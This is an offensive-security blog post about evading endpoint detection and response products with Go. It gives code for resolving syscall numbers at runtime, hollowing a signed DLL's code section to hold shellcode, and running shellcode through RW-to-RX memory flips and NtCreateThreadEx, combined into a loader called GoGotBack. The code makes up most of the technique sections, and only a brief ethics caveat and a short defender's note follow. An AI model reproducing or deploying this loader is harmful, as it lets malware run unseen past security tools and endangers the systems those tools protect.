Gopher in the Machine: Outfoxing EDR with Go-Powered Sleight of Hand

Gopher in the Machine: Outfoxing EDR with Go-Powered Sleight of Hand
TL;DR
We walk through three low-level tricks—dynamic syscalls, Phantom DLL hollowing, and RW→RX direct execution—and show how layering them confuses most Endpoint Detection & Response platforms.
All examples are in Go so you can adapt them quickly.
GitHub - nullcult/GoGotBack
Contribute to nullcult/GoGotBack development by creating an account on GitHub.

Table of Contents

  1. The EDR Problem Space
  2. Technique 1 – Dynamic Syscall Shuffling
  3. Technique 2 – Phantom DLL Hollowing
  4. Technique 3 – RW→RX Direct Exec
  5. Putting It Together: GoGotBack
  6. Defender’s Note & Caveats

The EDR Problem Space

Modern EDR engines weaponise two core ideas:

  1. Static analysis – scan PE imports & byte-signatures (VirtualAlloc, CreateRemoteThread, etc.).
  2. User-mode hooks – patch well-known APIs so calls are inspected in real time.

Our job is to sidestep both:

  • avoid obvious imports
  • jump directly into the kernel where hooks can’t follow.

Technique 1 – Dynamic Syscall Shuffling

“Talk to the kernel, not the hook.”

Goal – resolve the syscall number for NtAllocateVirtualMemory, NtProtectVirtualMemory … at runtime, then fire the SYSCALL instruction directly.

// DynamicSyscall.go – simplified
package dynsys

import (
	"fmt"
	"golang.org/x/sys/windows"
	"unsafe"
)

func Number(ntdllBase uintptr, fn string) (uint16, error) {
	addr, err := windows.GetProcAddress(windows.Handle(ntdllBase), fn)
	if err != nil {
		return 0, err
	}

	// first bytes:  MOV R10,RCX ; MOV EAX,xx ; SYSCALL ; RET
	bytes := unsafe.Slice((*byte)(unsafe.Pointer(addr)), 10)

	// naive scan for: 0xB8 <xx xx xx xx>  (mov eax, imm32)
	for i := 0; i < len(bytes)-5; i++ {
		if bytes[i] == 0xB8 { // opcode
			return *(*uint16)(unsafe.Pointer(&bytes[i+1])), nil
		}
	}
	return 0, fmt.Errorf("syscall pattern not found")
}
Why it works: we never import VirtualAlloc; static scanners go blind, and hooks in kernel32!VirtualAlloc are bypassed.

Technique 2 – Phantom DLL Hollowing

“Hide in a legitimate PE, then move.”

Steps

#ActionAPI (syscall form)
1Map a signed DLL (user32.dll) without executing DllMainNtCreateSection + NtMapViewOfSection
2Locate a code section (e.g., .text)manual PE parsing
3Flip to PAGE_READWRITENtProtectVirtualMemory
4memset the section → 0×00NtWriteVirtualMemory
5Drop raw shellcodesame
6Flip to PAGE_EXECUTE_READNtProtectVirtualMemory
// HollowSection.go – core idea
func Hollow(proc windows.Handle, base uintptr, sec IMAGE_SECTION_HEADER, sc []byte, s *Table) error {
	addr := base + uintptr(sec.VirtualAddress)
	size := uintptr(sec.VirtualSize)
	var old uint32

	// RW
	if err := s.NtProtectVirtualMemory(proc, &addr, &size, windows.PAGE_READWRITE, &old); err != nil {
		return err
	}
	// zero + inject
	if _, err := s.NtWriteVirtualMemory(proc, addr, &sc[0], uintptr(len(sc))); err != nil {
		return err
	}
	// RX
	return s.NtProtectVirtualMemory(proc, &addr, &size, windows.PAGE_EXECUTE_READ, &old)
}
EDR impact: memory scanners see “signed module pages” → lower suspicion.

Technique 3 – Direct Memory Allocation Execution

“RW now, RX later, no module attached.”

func RunShellcode(sc []byte, s *Table) error {
	var base uintptr
	size := uintptr(len(sc))

	// 1. RW anon
	if err := s.NtAllocateVirtualMemory(windows.CurrentProcess(),
		&base, 0, &size,
		windows.MEM_COMMIT|windows.MEM_RESERVE,
		windows.PAGE_READWRITE); err != nil {
		return err
	}
	// 2. copy
	if _, err := s.NtWriteVirtualMemory(windows.CurrentProcess(),
		base, &sc[0], size); err != nil {
		return err
	}
	// 3. RX
	var old uint32
	if err := s.NtProtectVirtualMemory(windows.CurrentProcess(),
		&base, &size, windows.PAGE_EXECUTE_READ, &old); err != nil {
		return err
	}
	// 4. thread
	return s.NtCreateThreadEx(nil, windows.GENERIC_ALL, nil,
		windows.CurrentProcess(), base, 0, 0, 0, 0, 0, 0)
}

GoGotBack: Layering for Resilience

Decode shellcode
        │
        ▼
Phantom DLL hollowed (RW → RX)
        │        (indirection)
        ▼
Private RW mem             ◄─┐
Copy + flip to RX             │
        │                     │ all via direct
NtCreateThreadEx ─────────────┘ syscalls

One hook fails → others still blinded.


Caveats and Conclusion

  • No silver bullet – kernel callbacks, ETW & behaviour analytics can still surface odd patterns.
  • Use ethically – only in lab or with explicit authorisation.
  • Defenders: hunt for RW→RX flips + unbacked execute pages + NtCreateThreadEx combos; hookless doesn’t mean invisible.

© 2025 Ronnie– Feel free to share, but link back.